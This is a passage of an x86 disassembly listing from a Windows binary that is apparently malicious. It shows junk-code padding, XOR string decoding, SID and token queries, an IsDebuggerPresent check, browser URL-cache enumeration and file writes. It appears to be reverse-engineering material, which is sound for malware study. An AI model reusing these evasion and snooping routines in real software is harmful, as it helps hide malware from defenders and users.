		call	strcat	; strcat
		add	esp, 10h


loc_404816:				; CODE XREF: sub_404529+2D5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404529	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40481B(char *Dest, char *Source)

sub_40481B	proc near		; CODE XREF: sub_4054C8+1A2p
					; sub_4054C8+1D3p ...

var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
Format		= dword	ptr -148h
var_141		= byte ptr -141h
var_13F		= byte ptr -13Fh
var_13B		= byte ptr -13Bh
var_136		= word ptr -136h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_129		= byte ptr -129h
var_128		= byte ptr -128h
var_120		= byte ptr -120h
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_FF		= byte ptr -0FFh
Dest		= dword	ptr  8
Source		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 150h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+Dest]
		mov	[ebp+var_108], 53AAh
		inc	[ebp+var_108]
		push	[ebp+Source]	; Source
		push	ebx		; Dest
		call	strcat	; strcat
		add	esp, 8
		lea	edi, [ebp+var_120]
		lea	esi, word_44224A
		movsd
		movsd
		call	rand	; rand
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	loc_404A43
		call	GetProcessHeap	; GetProcessHeap
		mov	[ebp+var_FF], 0
		mov	[ebp+var_130], 55F4h
		inc	[ebp+var_130]
		push	5		; Size
		push	offset word_4473FA ; Src
		call	sub_404491
		push	eax		; Source
		push	ebx		; Dest
		call	strcat	; strcat
		add	esp, 10h
		call	GetVersion	; GetVersion
		mov	[ebp+var_129], 0
		jmp	loc_4049F9
; ---------------------------------------------------------------------------


loc_4048AD:				; CODE XREF: sub_40481B+1E6j
		call	GetCurrentThreadId	; GetCurrentThreadId
		call	rand	; rand
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404906
		push	4		; Size
		push	offset aUU	; "“Å“Õ"
		call	sub_404491
		mov	[ebp+Format], eax
		call	rand	; rand
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		lea	edi, [ebp+var_FF]
		push	edi
		mov	edi, [ebp+Format]
		push	edi		; Format
		lea	edi, [ebp+var_FF]
		push	edi		; Dest
		call	sprintf	; sprintf
		add	esp, 18h


loc_404906:				; CODE XREF: sub_40481B+A7j
		lea	edi, [ebp+var_13B]
		lea	esi, aByqv	; "BYQV"
		mov	ecx, 5
		rep movsb
		call	rand	; rand
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_40496D
		push	4		; Size
		push	offset aUU	; "“Å“Õ"
		call	sub_404491
		mov	[ebp+var_14C], eax ; DATA XREF:	sub_43F725+41Dr
		call	rand	; rand
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 41h
		push	edi
		lea	edi, [ebp+var_FF]
		push	edi
		mov	edi, [ebp+var_14C]
		push	edi		; Format
		lea	edi, [ebp+var_FF]
		push	edi		; Dest
		call	sprintf	; sprintf
		add	esp, 18h


loc_40496D:				; CODE XREF: sub_40481B+10Ej
		lea	edi, [ebp+var_141]
		lea	esi, a4lk	; "&*4LK"
		mov	ecx, 3
		rep movsw
		call	rand	; rand
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 7
		jge	short loc_4049D5
		push	4		; Size
		push	offset aUU	; "“Å“Õ"
		call	sub_404491
		mov	[ebp+var_150], eax
		call	rand	; rand
		mov	ecx, 9
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 30h
		push	edi
		lea	edi, [ebp+var_FF]
		push	edi
		mov	edi, [ebp+var_150]
		push	edi		; Format
		lea	edi, [ebp+var_FF]
		push	edi		; Dest
		call	sprintf	; sprintf
		add	esp, 18h


loc_4049D5:				; CODE XREF: sub_40481B+176j
		mov	[ebp+var_136], 61C9h
		movzx	eax, [ebp+var_136]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_136], ax ; DATA XREF: sub_43F725+2Ao
		add	[ebp+var_129], 1


loc_4049F9:				; CODE XREF: sub_40481B+8Dj
		mov	al, [ebp+var_129]
		cmp	al, 0Ah
		jb	loc_4048AD
		lea	eax, [ebp+var_FF]
		push	eax		; Source
		push	ebx		; Dest
		call	strcat	; strcat
		call	GetCurrentProcessId	; GetCurrentProcessId
		push	4		; Size
		push	offset byte_4473F5 ; Src
		call	sub_404491
		push	eax		; Source
		push	ebx		; Dest
		call	strcat	; strcat
		add	esp, 18h
		mov	[ebp+var_134], 46D8h ; DATA XREF: sub_440126+12o
		sub	[ebp+var_134], 3C21h


loc_404A43:				; CODE XREF: sub_40481B+49j
		call	rand	; rand
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	loc_404BD4
		mov	[ebp+var_130], 53ABh
		add	[ebp+var_130], 4F65h
		mov	[ebp+var_FF], 0
		mov	eax, dword_44225D
		mov	[ebp+var_134], eax
		mov	[ebp+var_129], 0
		jmp	loc_404BB6
; ---------------------------------------------------------------------------


loc_404A8B:				; CODE XREF: sub_40481B+3A3j
		call	GetProcessHeap	; GetProcessHeap
		call	rand	; rand
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 4
		jge	short loc_404AE4
		push	4		; Size
		push	offset aUU	; "“Å“Õ"
		call	sub_404491
		mov	[ebp-144h], eax
		call	rand	; rand
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		lea	edi, [ebp+var_FF]
		push	edi
		mov	edi, [ebp-144h]
		push	edi		; Format
		lea	edi, [ebp+var_FF]
		push	edi		; Dest
		call	sprintf	; sprintf
		add	esp, 18h


loc_404AE4:				; CODE XREF: sub_40481B+285j
		mov	eax, dword_442261
		mov	[ebp-138h], eax
		call	rand	; rand
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 4
		jge	short loc_404B43
		push	4		; Size
		push	offset aUU	; "“Å“Õ"
		call	sub_404491
		mov	[ebp+Format], eax
		call	rand	; rand
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 41h
		push	edi
		lea	edi, [ebp+var_FF]
		push	edi
		mov	edi, [ebp+Format]
		push	edi		; Format
		lea	edi, [ebp+var_FF]
		push	edi		; Dest
		call	sprintf	; sprintf
		add	esp, 18h


loc_404B43:				; CODE XREF: sub_40481B+2E4j
		lea	edi, [ebp+var_13F]
		lea	esi, byte_442265
		mov	ecx, 7
		rep movsb
		call	rand	; rand
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 3
		jge	short loc_404BAA
		push	4		; Size
		push	offset aUU	; "“Å“Õ"
		call	sub_404491
		mov	[ebp+var_14C], eax
		call	rand	; rand
		mov	ecx, 9
		cdq


loc_404B85:				; DATA XREF: .text:00440382o
					; .text:004403A9o ...
		idiv	ecx
		mov	edi, edx
		add	edi, 30h
		push	edi
		lea	edi, [ebp+var_FF]
		push	edi
		mov	edi, [ebp+var_14C]
		push	edi		; Format
		lea	edi, [ebp+var_FF]
		push	edi		; Dest
		call	sprintf	; sprintf
		add	esp, 18h


loc_404BAA:				; CODE XREF: sub_40481B+34Bj
		call	GetTickCount	; GetTickCount
		add	[ebp+var_129], 1


loc_404BB6:				; CODE XREF: sub_40481B+26Bj
		mov	al, [ebp+var_129]
		cmp	al, 32h
		jb	loc_404A8B
		lea	eax, [ebp+var_FF]
		push	eax		; Source
		push	ebx		; Dest
		call	strcat	; strcat
		add	esp, 8


loc_404BD4:				; CODE XREF: sub_40481B+238j
		call	rand	; rand
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404BFC
		push	4		; Size
		push	offset dword_4473F0 ; Src
		call	sub_404491
		push	eax		; Source
		push	ebx		; Dest
		call	strcat	; strcat
		add	esp, 10h


loc_404BFC:				; CODE XREF: sub_40481B+3C9j
		lea	edi, [ebp+var_128]
		lea	esi, dword_44226C
		movsd
		movsd
		call	rand	; rand
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404C32
		push	3		; Size
		push	offset dword_4473EC ; Src
		call	sub_404491
		push	eax		; Source
		push	ebx		; Dest
		call	strcat	; strcat
		add	esp, 10h


loc_404C32:				; CODE XREF: sub_40481B+3FFj
		mov	[ebp+var_104], 384h
		mov	eax, [ebp+var_104]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_104], edx
		call	rand	; rand
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404C74
		push	3		; Size
		push	offset dword_4473E8 ; Src
		call	sub_404491
		push	eax		; Source
		push	ebx		; Dest
		call	strcat	; strcat
		add	esp, 10h


loc_404C74:				; CODE XREF: sub_40481B+441j
		call	rand	; rand
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404C9C
		push	3		; Size
		push	offset dword_4473E4 ; Src
		call	sub_404491
		push	eax		; Source
		push	ebx		; Dest
		call	strcat	; strcat
		add	esp, 10h


loc_404C9C:				; CODE XREF: sub_40481B+469j
		call	GetTickCount	; GetTickCount
		call	rand	; rand
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404CC9
		push	4		; Size
		push	offset byte_4473DF ; Src
		call	sub_404491
		push	eax		; Source
		push	ebx		; Dest
		call	strcat	; strcat
		add	esp, 10h


loc_404CC9:				; CODE XREF: sub_40481B+496j
		mov	[ebp+var_10C], 0F10h
		inc	[ebp+var_10C]
		call	rand	; rand
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404D01
		push	4		; Size
		push	offset word_4473DA ; Src
		call	sub_404491
		push	eax		; Source
		push	ebx		; Dest
		call	strcat	; strcat
		add	esp, 10h


loc_404D01:				; CODE XREF: sub_40481B+4CEj
		call	rand	; rand
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404D29
		push	4		; Size
		push	offset byte_4473D5 ; Src
		call	sub_404491
		push	eax		; Source
		push	ebx		; Dest
		call	strcat	; strcat
		add	esp, 10h


loc_404D29:				; CODE XREF: sub_40481B+4F6j
		call	GetTickCount	; GetTickCount


loc_404D2E:				; DATA XREF: .text:0043FFA8o
		call	rand	; rand
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404D56
		push	7		; Size
		push	offset byte_4473CD ; Src
		call	sub_404491
		push	eax		; Source
		push	ebx		; Dest
		call	strcat	; strcat
		add	esp, 10h


loc_404D56:				; CODE XREF: sub_40481B+523j
		mov	[ebp+var_110], 7CCAh
		mov	eax, 23D9h
		mul	[ebp+var_110]
		mov	[ebp-12Ch], eax
		mov	[ebp+var_110], eax
		call	rand	; rand
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404D9F
		push	8		; Size
		push	offset dword_4473C4 ; Src
		call	sub_404491
		push	eax		; Source
		push	ebx		; Dest
		call	strcat	; strcat
		add	esp, 10h


loc_404D9F:				; CODE XREF: sub_40481B+56Cj
		mov	[ebp+var_114], 2CE7h
		inc	[ebp+var_114]
		call	rand	; rand
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404DD7
		push	9		; Size
		push	offset word_4473BA ; Src
		call	sub_404491
		push	eax		; Source
		push	ebx		; Dest
		call	strcat	; strcat
		add	esp, 10h


loc_404DD7:				; CODE XREF: sub_40481B+5A4j
		mov	[ebp+var_118], 35B7h
		mov	eax, 4085h
		mul	[ebp+var_118]
		mov	[ebp+var_130], eax
		mov	[ebp+var_118], eax
		call	rand	; rand
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404E20
		push	2		; Size
		push	offset byte_447400 ; Src
		call	sub_404491
		push	eax		; Source
		push	ebx		; Dest
		call	strcat	; strcat
		add	esp, 10h


loc_404E20:				; CODE XREF: sub_40481B+5EDj
		call	GetCurrentProcessId	; GetCurrentProcessId
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40481B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_404E2A(void *Src, size_t Size)

sub_404E2A	proc near		; CODE XREF: sub_404EC6+5Cp
					; sub_404EC6+91p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Src		= dword	ptr  8
Size		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+Size]
		mov	[ebp+var_4], 12Bh
		push	esi		; Size
		push	[ebp+Src]	; Src
		mov	eax, dword_44227C
		lea	eax, ds:436250h[eax]
		push	eax		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	[ebp+var_8], 283h
		xor	edi, edi
		jmp	short loc_404E77
; ---------------------------------------------------------------------------


loc_404E60:				; CODE XREF: sub_404E2A+4Fj
		mov	eax, dword_44227C
		add	eax, edi
		lea	eax, ds:436250h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 7Bh
		mov	[eax], dl
		inc	edi


loc_404E77:				; CODE XREF: sub_404E2A+34j
		cmp	edi, esi
		jl	short loc_404E60
		mov	[ebp+var_C], 10Ch
		mov	eax, dword_44227C
		add	eax, esi
		mov	byte ptr dword_436250[eax], 0
		xor	edi, edi
		mov	edi, dword_44227C
		add	dword_44227C, 3
		mov	eax, dword_44227C
		lea	eax, [eax+esi+3]
		mov	dword_44227C, eax
		cmp	eax, 0DEDh
		jle	short loc_404EBC
		and	dword_44227C, 0


loc_404EBC:				; CODE XREF: sub_404E2A+89j
		lea	eax, dword_436250[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_404E2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_404EC6(PSID pSid, LPSTR)

sub_404EC6	proc near		; CODE XREF: sub_40506F+99p

var_30		= dword	ptr -30h
var_2A		= byte ptr -2Ah
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_19		= dword	ptr -19h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
nSubAuthority	= dword	ptr -4
pSid		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_15], 0C0h
		sub	[ebp+var_15], 75h
		mov	eax, dword_442280
		mov	[ebp+var_19], eax
		xor	ebx, ebx
		inc	ebx
		push	[ebp+pSid]	; pSid
		call	GetSidIdentifierAuthority	; GetSidIdentifierAuthority
		mov	[ebp+var_14], eax
		call	GetCurrentThreadId	; GetCurrentThreadId
		push	[ebp+pSid]	; pSid
		call	GetSidSubAuthorityCount	; GetSidSubAuthorityCount
		movzx	edi, byte ptr [eax]
		mov	[ebp+var_10], edi
		call	GetTickCount	; GetTickCount
		mov	eax, 0Ch
		mul	[ebp+var_10]
		mov	[ebp+var_20], eax
		add	eax, 1Ch
		mov	[ebp+var_C], eax


loc_404F16:				; DATA XREF: .text:off_4472A3o
		call	GetTickCount	; GetTickCount
		push	6		; Size
		push	offset byte_4473B3 ; Src
		call	sub_404E2A
		push	ebx
		push	eax		; LPCSTR
		push	[ebp+arg_4]	; LPSTR
		call	wsprintfA	; wsprintfA
		add	esp, 14h
		mov	[ebp+var_C], eax
		add	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_14]
		cmp	byte ptr [eax],	0
		jnz	short loc_404F4B
		cmp	byte ptr [eax+1], 0
		jz	short loc_404FA9


loc_404F4B:				; CODE XREF: sub_404EC6+7Dj
		call	GetCurrentProcessId	; GetCurrentProcessId
		push	20h		; Size
		push	offset word_447392 ; Src
		call	sub_404E2A
		mov	edi, [ebp+var_14]
		movzx	esi, byte ptr [edi+5]
		movzx	esi, si
		push	esi
		movzx	esi, byte ptr [edi+4]
		movzx	esi, si
		push	esi
		movzx	esi, byte ptr [edi+3]
		movzx	esi, si
		push	esi
		movzx	esi, byte ptr [edi+2]
		movzx	esi, si
		push	esi
		movzx	esi, byte ptr [edi+1]
		movzx	esi, si
		push	esi
		movzx	edi, byte ptr [edi]
		movzx	edi, di
		push	edi
		push	eax		; LPCSTR
		push	[ebp+var_8]	; LPSTR
		call	wsprintfA	; wsprintfA
		add	esp, 28h
		mov	ebx, eax
		add	[ebp+var_C], ebx
		mov	eax, ebx
		add	eax, [ebp+var_8]
		mov	[ebp+var_8], eax
		jmp	short loc_405017
; ---------------------------------------------------------------------------


loc_404FA9:				; CODE XREF: sub_404EC6+83j
		mov	[ebp+var_24], 5F0h
		mov	eax, 4B0Ah
		mul	[ebp+var_24]
		mov	[ebp+var_30], eax
		mov	[ebp+var_24], eax
		push	3		; Size
		push	offset word_44738E ; Src
		call	sub_404E2A
		mov	edi, [ebp+var_14]
		movzx	esi, byte ptr [edi+5]
		movzx	edx, byte ptr [edi+4]
		shl	edx, 8
		add	esi, edx
		movzx	edx, byte ptr [edi+3]
		shl	edx, 10h
		add	esi, edx
		movzx	edi, byte ptr [edi+2]
		shl	edi, 18h
		add	esi, edi
		push	esi
		push	eax		; LPCSTR
		push	[ebp+var_8]	; LPSTR
		call	wsprintfA	; wsprintfA
		add	esp, 14h
		mov	ebx, eax
		lea	edi, [ebp+var_2A]
		lea	esi, dword_442284
		mov	ecx, 3
		rep movsw
		add	[ebp+var_C], ebx
		mov	eax, ebx
		add	eax, [ebp+var_8]
		mov	[ebp+var_8], eax


loc_405017:				; CODE XREF: sub_404EC6+E1j
		and	[ebp+nSubAuthority], 0
		jmp	short loc_405062
; ---------------------------------------------------------------------------


loc_40501D:				; CODE XREF: sub_404EC6+1A2j
		call	GetLastError
		push	4		; Size
		push	offset byte_447389 ; Src
		call	sub_404E2A
		mov	[ebp+var_24], eax
		push	[ebp+nSubAuthority] ; nSubAuthority
		push	[ebp+pSid]	; pSid
		call	GetSidSubAuthority	; GetSidSubAuthority
		push	dword ptr [eax]
		mov	edi, [ebp+var_24]
		push	edi		; LPCSTR
		push	[ebp+var_8]	; LPSTR
		call	wsprintfA	; wsprintfA
		add	esp, 14h
		mov	ebx, eax
		call	GetCurrentProcessId	; GetCurrentProcessId
		add	[ebp+var_C], ebx
		mov	eax, ebx
		add	eax, [ebp+var_8]
		mov	[ebp+var_8], eax
		inc	[ebp+nSubAuthority]


loc_405062:				; CODE XREF: sub_404EC6+155j
		mov	eax, [ebp+var_10]
		cmp	[ebp+nSubAuthority], eax
		jb	short loc_40501D
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404EC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40506F(LPSTR)

sub_40506F	proc near		; CODE XREF: sub_405E88+239p

var_19		= byte ptr -19h
ReturnLength	= dword	ptr -14h
var_10		= byte ptr -10h
var_B		= byte ptr -0Bh
dwProcessId	= dword	ptr -8
hObject		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_B]
		lea	esi, word_44228A
		mov	ecx, 3
		rep movsb
		call	GetCurrentProcessId	; GetCurrentProcessId
		mov	[ebp+dwProcessId], eax
		lea	edi, [ebp+var_10]
		lea	esi, byte_44228D
		mov	ecx, 5
		rep movsb
		push	[ebp+dwProcessId] ; dwProcessId
		push	0		; bInheritHandle
		push	1F0FFFh		; dwDesiredAccess
		call	OpenProcess	; OpenProcess
		mov	ebx, eax
		call	GetVersion	; GetVersion
		lea	eax, [ebp+hObject]
		push	eax		; TokenHandle
		push	0F00FFh		; DesiredAccess
		push	ebx		; ProcessHandle
		call	OpenProcessToken	; OpenProcessToken
		call	GetCurrentProcessId	; GetCurrentProcessId
		push	ebx		; hObject
		call	CloseHandle	; CloseHandle
		mov	eax, dword_442278
		add	eax, 3FF4h
		push	eax		; uBytes
		push	40h		; uFlags
		call	LocalAlloc	; LocalAlloc
		mov	ebx, eax
		lea	eax, [ebp+ReturnLength]
		push	eax		; ReturnLength
		mov	eax, dword_442278
		add	eax, 3FF4h
		push	eax		; TokenInformationLength
		push	ebx		; TokenInformation
		push	1		; TokenInformationClass
		push	[ebp+hObject]	; TokenHandle
		call	GetTokenInformation	; GetTokenInformation
		call	GetVersion	; GetVersion
		push	[ebp+arg_0]	; LPSTR
		push	dword ptr [ebx]	; pSid
		call	sub_404EC6
		add	esp, 8
		push	ebx		; hMem
		call	LocalFree	; LocalFree
		call	IsDebuggerPresent	; IsDebuggerPresent
		push	[ebp+hObject]	; hObject
		call	CloseHandle	; CloseHandle
		lea	edi, [ebp+var_19]
		lea	esi, word_442292
		mov	ecx, 5
		rep movsb
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40506F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_405138(void *Src, size_t Size)

sub_405138	proc near		; CODE XREF: sub_40523D+52p
					; sub_40523D+BDp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
Src		= dword	ptr  8
Size		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+Size]
		push	esi		; Size
		push	[ebp+Src]	; Src
		mov	eax, dword_4422A0
		lea	eax, ds:4197B0h[eax]
		push	eax		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_405176
; ---------------------------------------------------------------------------


loc_40515F:				; CODE XREF: sub_405138+40j
		mov	eax, dword_4422A0
		add	eax, edi
		lea	eax, ds:4197B0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 3Ch
		mov	[eax], dl
		inc	edi


loc_405176:				; CODE XREF: sub_405138+25j
		cmp	edi, esi
		jl	short loc_40515F
		mov	[ebp+var_4], 365h
		mov	eax, dword_4422A0
		add	eax, esi
		mov	byte ptr dword_4197B0[eax], 0
		xor	edi, edi
		mov	edi, dword_4422A0
		mov	eax, edi
		add	eax, 2
		add	eax, esi
		mov	dword_4422A0, eax
		cmp	eax, 0DDFh
		jle	short loc_4051B2
		and	dword_4422A0, 0


loc_4051B2:				; CODE XREF: sub_405138+71j
		mov	[ebp+var_8], 0E8h
		lea	eax, dword_4197B0[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_405138	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4051C3(LPCSTR	lpFileName, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite)

sub_4051C3	proc near		; CODE XREF: sub_4061F7+526p
					; sub_4061F7+543p

NumberOfBytesWritten= dword ptr	-4
lpFileName	= dword	ptr  8
lpBuffer	= dword	ptr  0Ch
nNumberOfBytesToWrite= dword ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		call	GetCurrentThreadId	; GetCurrentThreadId
		push	0		; hTemplateFile
		push	80h		; dwFlagsAndAttributes
		push	4		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	0		; dwShareMode
		push	0C0000000h	; dwDesiredAccess
		push	[ebp+lpFileName] ; lpFileName
		call	CreateFileA	; CreateFileA
		mov	edi, eax
		call	GetVersion	; GetVersion
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4051F8
		xor	eax, eax
		jmp	short loc_405239
; ---------------------------------------------------------------------------


loc_4051F8:				; CODE XREF: sub_4051C3+2Fj
		mov	esi, 3356h
		sub	esi, 0F1Dh
		push	2		; dwMoveMethod
		push	0		; lpDistanceToMoveHigh
		push	0		; lDistanceToMove
		push	edi		; hFile
		call	SetFilePointer	; SetFilePointer
		call	GetVersion	; GetVersion
		push	0		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		push	[ebp+nNumberOfBytesToWrite] ; nNumberOfBytesToWrite
		push	[ebp+lpBuffer]	; lpBuffer
		push	edi		; hFile
		call	WriteFile	; WriteFile
		call	GetCurrentThreadId	; GetCurrentThreadId
		push	edi		; hObject
		call	CloseHandle	; CloseHandle
		call	GetCurrentThreadId	; GetCurrentThreadId
		xor	eax, eax
		inc	eax


loc_405239:				; CODE XREF: sub_4051C3+33j
		pop	edi
		pop	esi
		leave
		retn
sub_4051C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40523D	proc near		; CODE XREF: sub_4061F7+46Fp

var_2F5B	= byte ptr -2F5Bh
var_2F58	= dword	ptr -2F58h
var_2F53	= byte ptr -2F53h
var_2F52	= byte ptr -2F52h
var_2F4A	= word ptr -2F4Ah
var_2F48	= byte ptr -2F48h
var_2F47	= byte ptr -2F47h
var_2F46	= word ptr -2F46h
Str2		= byte ptr -2F43h
var_1F44	= dword	ptr -1F44h
var_1F40	= byte ptr -1F40h
Str1		= dword	ptr -1F3Ch
var_1F38	= dword	ptr -1F38h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2F5Ch
		call	sub_40C6B8
		push	ebx
		push	esi


loc_40524C:				; DATA XREF: sub_440531r
		push	edi
		mov	[ebp+var_2F46],	7B0Ch ;	DATA XREF: sub_44053Dr
					; sub_440549r
		inc	[ebp+var_2F46]	; DATA XREF: sub_440555r sub_440561r
		lea	edi, [ebp+var_2F52] ; DATA XREF: sub_44056Dr
		lea	esi, dword_4422A8 ; DATA XREF: sub_440579r sub_440585r
		movsd
		movsd
		push	[ebp+arg_0]	; DATA XREF: sub_440591r
		lea	eax, [ebp+Str2]	; DATA XREF: sub_44059Dr


loc_405274:				; DATA XREF: sub_4405A9r
		push	eax
		call	sub_40C6D8	; DATA XREF: sub_4405B5r
		mov	[ebp+var_2F47],	33h ; DATA XREF: sub_4405C1r
					; sub_4405CDr
		add	[ebp+var_2F47],	1 ; DATA XREF: sub_4405D9r
		push	1		; Size
		push	offset byte_447387 ; Src
		call	sub_405138	; DATA XREF: sub_4405E5r
		mov	edi, 12h
		sub	edi, dword_44229C ; DATA XREF: sub_4405F1r
		push	edi
		push	eax
		lea	edi, [ebp+Str2]
		push	edi


loc_4052A8:				; DATA XREF: sub_4406ADr sub_4406B9r
		call	sub_40181A
		add	esp, 14h


loc_4052B0:				; DATA XREF: sub_4406C5r
		mov	edi, eax
		mov	[ebp+var_2F4A],	di ; DATA XREF:	sub_4406D1r
					; sub_4406DDr
		movzx	eax, [ebp+var_2F4A] ; DATA XREF: sub_4406E9r


loc_4052C0:				; DATA XREF: sub_4406F5r sub_440701r
		cmp	eax, 0FFFFh
		jz	short loc_4052D6
		movzx	eax, [ebp+var_2F4A] ; DATA XREF: sub_44070Dr
					; sub_440719r
		mov	[ebp+eax+Str2],	0 ; DATA XREF: sub_440725r sub_440731r


loc_4052D6:				; CODE XREF: sub_40523D+88j
					; DATA XREF: sub_44073Dr ...
		mov	[ebp+var_2F48],	22h
		add	[ebp+var_2F48],	90h ; DATA XREF: sub_440755r


loc_4052E4:				; DATA XREF: sub_440761r sub_44076Dr ...
		mov	[ebp+var_1F44],	1F40h
		call	GetLastError	; DATA XREF: sub_440785r
		push	3		; DATA XREF: sub_440791r
					; Size
		push	offset byte_447383 ; DATA XREF:	sub_44079Dr
					; Src
		call	sub_405138
		add	esp, 8
		lea	edi, [ebp+var_1F44] ; DATA XREF: sub_4407A9r


loc_405308:				; DATA XREF: sub_4407B5r
		push	edi
		lea	edi, [ebp+var_1F40] ; DATA XREF: sub_4407C1r
		push	edi


loc_405310:				; DATA XREF: sub_4407CDr
		push	eax
		call	FindFirstUrlCacheEntryA	; DATA XREF: sub_4407D9r
		mov	ebx, eax


loc_405318:				; DATA XREF: sub_4407E5r
		or	eax, eax
		jz	loc_4053F9	; DATA XREF: sub_4407F1r


loc_405320:				; DATA XREF: sub_4407FDr sub_440809r
		lea	eax, [ebp+Str2]
		push	eax		; Str2
		push	[ebp+Str1]	; Str1
		call	_stricmp	; DATA XREF: sub_440815r
		add	esp, 8		; DATA XREF: sub_440821r
		or	eax, eax
		jnz	short loc_40536B ; DATA	XREF: sub_44082Dr
		mov	[ebp+var_2F53],	0CEh ; DATA XREF: sub_440839r


loc_405340:				; DATA XREF: sub_440845r sub_440851r
		sub	[ebp+var_2F53],	68h
		push	[ebp+var_1F38]	; DATA XREF: sub_44085Dr sub_440869r
		push	[ebp+arg_4]


loc_405350:				; DATA XREF: sub_440875r sub_440881r
		call	sub_40C6D8
		lea	edi, [ebp+var_2F5B] ; DATA XREF: sub_44088Dr
		lea	esi, dword_4422B0
		movsd
		movsd
		xor	eax, eax	; DATA XREF: sub_440899r
		inc	eax
		jmp	loc_4053F9	; DATA XREF: sub_4408A5r
; ---------------------------------------------------------------------------


loc_40536B:				; CODE XREF: sub_40523D+FAj
					; sub_40523D:loc_4053F2j
					; DATA XREF: ...
		mov	[ebp+var_2F53],	1Dh
		movzx	eax, [ebp+var_2F53] ; DATA XREF: sub_4408C9r
					; sub_4408D5r
		imul	eax, 42B9h	; DATA XREF: sub_4408E1r
		mov	[ebp+var_2F53],	al ; DATA XREF:	sub_4408EDr
					; sub_4408F9r
